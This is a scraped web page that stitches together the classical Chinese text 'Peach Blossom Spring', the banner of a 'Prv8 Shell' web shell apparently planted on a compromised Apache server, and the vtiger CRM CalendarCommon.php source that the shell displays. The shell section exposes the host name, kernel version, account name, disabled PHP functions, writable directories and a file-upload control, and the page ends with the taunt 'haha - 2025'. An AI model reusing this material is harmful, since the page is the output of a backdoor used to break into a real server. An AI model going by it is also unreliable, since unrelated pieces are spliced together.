晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/public_html/crm/modules/Calendar/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/public_html/crm/modules/Calendar/CalendarCommon.php
<?php
/*********************************************************************************
** The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is:  vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
*
 ********************************************************************************/

/**
 * To get the lists of vtiger_users id who shared their calendar with specified user
 * @param $sharedid -- The shared user id :: Type integer
 * @returns $shared_ids -- a comma seperated vtiger_users id  :: Type string
 */
function getSharedCalendarId($sharedid)
{
	global $adb;
	$query = "SELECT * from vtiger_sharedcalendar where sharedid=?";
	$result = $adb->pquery($query, array($sharedid));
	if($adb->num_rows($result)!=0)
	{
		for($j=0;$j<$adb->num_rows($result);$j++)
			$userid[] = $adb->query_result($result,$j,'userid');
		$shared_ids = implode (",",$userid);
	}
	return $shared_ids;
}

/**
 * To get hour,minute and format
 * @param $starttime -- The date&time :: Type string
 * @param $endtime -- The date&time :: Type string
 * @param $format -- The format :: Type string
 * @returns $timearr :: Type Array
*/
function getaddEventPopupTime($starttime,$endtime,$format)
{
	$timearr = Array();
	list($sthr,$stmin) = explode(":",$starttime);
	list($edhr,$edmin)  = explode(":",$endtime);
	if($format == 'am/pm' || $format == '12')
	{
		$hr = $sthr+0;
		$timearr['startfmt'] = ($hr >= 12) ? "pm" : "am";
		if($hr == 0) $hr = 12;
		$timearr['starthour'] = twoDigit(($hr>12)?($hr-12):$hr);
		$timearr['startmin']  = $stmin;

		$edhr = $edhr+0;
		$timearr['endfmt'] = ($edhr >= 12) ? "pm" : "am";
		if($edhr == 0) $edhr = 12;
		$timearr['endhour'] = twoDigit(($edhr>12)?($edhr-12):$edhr);
		$timearr['endmin']    = $edmin;
		return $timearr;
	}
	if($format == '24')
	{
		$timearr['starthour'] = twoDigit($sthr);
		$timearr['startmin']  = $stmin;
		$timearr['startfmt']  = '';
		$timearr['endhour']   = twoDigit($edhr);
		$timearr['endmin']    = $edmin;
		$timearr['endfmt']    = '';
		return $timearr;
	}
}

/**
 * Function to get Acception Invitation short url
 * @param <Int> $user_id - userId (invitee)
 * @param <Events_Record_Model> $eventRecordModel
 * @return <URL> - short url for tracking acception action
 */
function getAcceptInvitationUrl($user_id,$eventRecordModel) {
    $options = array(
       'handler_path' => 'modules/Events/handlers/TrackAcceptInvitation.php',
       'handler_class' => 'Events_TrackAcceptInvitation_Handler',
       'handler_function' => "acceptInvitation",
       'handler_data' => array(
			'eventId' => $eventRecordModel->getId(),
			'userId' => $user_id
       )
   );
   return Vtiger_ShortURL_Helper::generateURL($options);
}

/**
 * Function to add accept event tracking link
 * @param <String> $body - email body 
 * @param <Int> $user_id - userId
 * @param <Events_Record_Model> $recordModel
 * @return <String> - updated body with accept tracking link
 */
function addAcceptEventLink($body,$user_id,$recordModel) {
    if(!$recordModel) {
        return $body;
    }
    $acceptInvitationUrl = getAcceptInvitationUrl($user_id,$recordModel);
    if(strpos($body,'$AcceptTrackingUrl')) {
        return str_replace('$AcceptTrackingUrl',$acceptInvitationUrl,$body);
    }
    //$AcceptTrackingUrl not found in body of template
    $acceptLink = '<div class="invitationresponse"><a href="' . 
            $acceptInvitationUrl. '" target="_blank">Accept - Add Event to Vtiger Calendar</a></div>';
    return substr_replace($body, $acceptLink, strpos($body, '</body>'), 0);
}

/**
 * Function to get the vtiger_activity details for mail body
 * @param   string   $description       - activity description
 * @param   string   $from              - to differenciate from notification to invitation.
 * return   string   $list              - HTML in string format
 */
function getActivityDetails($description,$user_id,$from='',$recordModel=false) {
    global $log,$current_user;
	require_once 'include/utils/utils.php';
	$log->debug("Entering getActivityDetails(".$description.") method ...");

	// Show the start date and end date in the users date format and in his time zone
	$inviteeUser = CRMEntity::getInstance('Users');
	$inviteeUser->retrieveCurrentUserInfoFromFile($user_id);
	$startDate = new DateTimeField($description['st_date_time']);
	$endDate = new DateTimeField($description['end_date_time']);
	$current_username = getUserFullName($current_user->id);
	$name = getUserFullName($user_id);
	
	$db = PearDatabase::getInstance();
	$query='SELECT body FROM vtiger_emailtemplates WHERE subject=? AND systemtemplate=?';
	$result = $db->pquery($query, array('Invitation', '1'));
	$body=decode_html($db->query_result($result,0,'body'));
	$body=addAcceptEventLink($body,$user_id,$recordModel);
    $list = $body;
	$list = str_replace('$invitee_name$', $name, $list);
	$list = str_replace('$events-date_start$',$startDate->getDisplayDateTimeValue($inviteeUser) .' '.vtranslate($inviteeUser->time_zone, 'Users'),$list);
	$list = str_replace('$events-due_date$',$endDate->getDisplayDateTimeValue($inviteeUser).' '.vtranslate($inviteeUser->time_zone, 'Users'),$list);
	$list = str_replace('$events-contactid$',$description['contact_name'],$list);
	$list = str_replace('$current_user_name$',$current_username,$list);

    $log->debug("Exiting getActivityDetails method ...");
    return $list;
}

function twoDigit( $no ){
	if($no < 10 && strlen(trim($no)) < 2) return "0".$no;
	else return "".$no;
}

function sendInvitation($inviteesid,$mode,$recordModel,$desc) {
	global $current_user,$mod_strings;
	require_once("vtlib/Vtiger/Mailer.php");
	$invitees_array = explode(';',$inviteesid);
	
	if($desc['mode'] == 'edit') {
        $subject = vtranslate("LBL_UPDATED_INVITATION", "Calendar").' : ';
    } else {
        $subject = vtranslate("LBL_INVITATION", "Calendar").' : ';
    }
	$subject .= $recordModel->get('subject');
	$attachment = generateIcsAttachment($desc);
	foreach($invitees_array as $inviteeid) {
		if($inviteeid != '') {
			$description=getActivityDetails($desc,$inviteeid,"invite",$recordModel);
			$description = getMergedDescription($description, $recordModel->getId(), 'Events');
			$to_email = getUserEmailId('id',$inviteeid);
			$to_name = getUserFullName($inviteeid);
            $mail = new Vtiger_Mailer();
            $mail->IsHTML(true);
			$currentUserModel = Users_Record_Model::getCurrentUserModel();
			$userName = $currentUserModel->getName();
			$fromEmail = Emails_Record_Model::getFromEmailAddress();
			$mail->ConfigSenderInfo($fromEmail,$userName);
            $mail->Subject = $subject;
            $mail->Body = $description;
            $mail->AddAttachment($attachment, '', 'base64', 'text/calendar');
            $mail->SendTo($to_email, decode_html($to_name), false, false, true);
		}
	}
    unlink($attachment);

}

// User Select Customization
/**
 * Function returns the id of the User selected by current user in the picklist of the ListView or Calendar view of Current User
 * return String -  Id of the user that the current user has selected
 */
function calendarview_getSelectedUserId() {
	global $current_user, $default_charset;
	$only_for_user = htmlspecialchars(strip_tags(vtlib_purifyForSql($_REQUEST['onlyforuser'])),ENT_QUOTES,$default_charset);
	if($only_for_user == '') $only_for_user = $current_user->id;
	return $only_for_user;
}

function calendarview_getSelectedUserFilterQuerySuffix() {
	global $current_user, $adb;
	$only_for_user = calendarview_getSelectedUserId();
	$qcondition = '';
	if(!empty($only_for_user)) {
		if($only_for_user != 'ALL') {
			// For logged in user include the group records also.
			if($only_for_user == $current_user->id) {
				$user_group_ids = fetchUserGroupids($current_user->id);
				// User does not belong to any group? Let us reset to non-existent group
				if(!empty($user_group_ids)) $user_group_ids .= ',';
				else $user_group_ids = '';
				$user_group_ids .= $current_user->id;
				$qcondition = " AND vtiger_crmentity.smownerid IN (" . $user_group_ids .")";
			} else {
				$qcondition = " AND vtiger_crmentity.smownerid = "  . $adb->sql_escape_string($only_for_user);
			}
		}
	}
	return $qcondition;
}

/*
 * Function to generate ICS file to send as attachment with email
 * invitation when a user is invited for an event
 * @params $record Event record
 * @return filename as event name
 */
function generateIcsAttachment($record) {
    $fileName = str_replace(' ', '_', decode_html($record['subject']));
    $assignedUserId = $record['user_id'];
    $userModel = Users_Record_Model::getInstanceById($assignedUserId, 'Users');
    $firstName = $userModel->entity->column_fields['first_name'];
    $lastName = $userModel->entity->column_fields['last_name'];
    $email = $userModel->entity->column_fields['email1'];
    $fp = fopen('test/upload/'.$fileName.'.ics', "w");
    fwrite($fp, "BEGIN:VCALENDAR\nVERSION:2.0\nBEGIN:VEVENT\n");
    fwrite($fp, "ORGANIZER;CN=".$firstName." ".$lastName.":MAILTO:".$email."\n");
    fwrite($fp, "DTSTART:".date('Ymd\THis\Z', strtotime($record['st_date_time']))."\n");
    fwrite($fp, "DTEND:".date('Ymd\THis\Z', strtotime($record['end_date_time']))."\n");
    fwrite($fp, "DTSTAMP:".date('Ymd\THis\Z')."\n");
    fwrite($fp, "DESCRIPTION:".$record['description']."\nLOCATION:".$record['location']."\n");
    fwrite($fp, "STATUS:CONFIRMED\nSUMMARY:".$record['subject']."\nEND:VEVENT\nEND:VCALENDAR");
    fclose($fp);
    
    return 'test/upload/'.$fileName.'.ics';
}

?>

haha - 2025